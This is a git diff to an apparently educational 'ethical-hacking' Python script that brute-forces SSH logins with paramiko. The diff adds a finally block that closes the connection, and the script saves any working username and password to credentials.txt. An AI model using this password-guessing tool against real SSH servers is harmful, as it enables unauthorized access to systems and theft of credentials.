diff --git a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py
index be7ade8a..4246453a 100644
--- a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py
+++ b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py
@@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password):
     except socket.timeout:
         # this is when host is unreachable
         print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
-        return False
+        returning = False
     except paramiko.AuthenticationException:
         print(f"[!] Invalid credentials for {username}:{password}")
-        return False
+        returning = False
     except paramiko.SSHException:
         print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
         # sleep for a minute
         time.sleep(60)
-        return is_ssh_open(hostname, username, password)
+        returning = is_ssh_open(hostname, username, password)
     else:
         # connection was established successfully
         print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
-        return True
+        returning = True
+    finally:
+        client.close()
+        return returning
 
 
 if __name__ == "__main__":
@@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password):
         if is_ssh_open(host, user, password):
             # if combo is valid, save it to a file
             open("credentials.txt", "w").write(f"{user}@{host}:{password}")
-            break
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+            break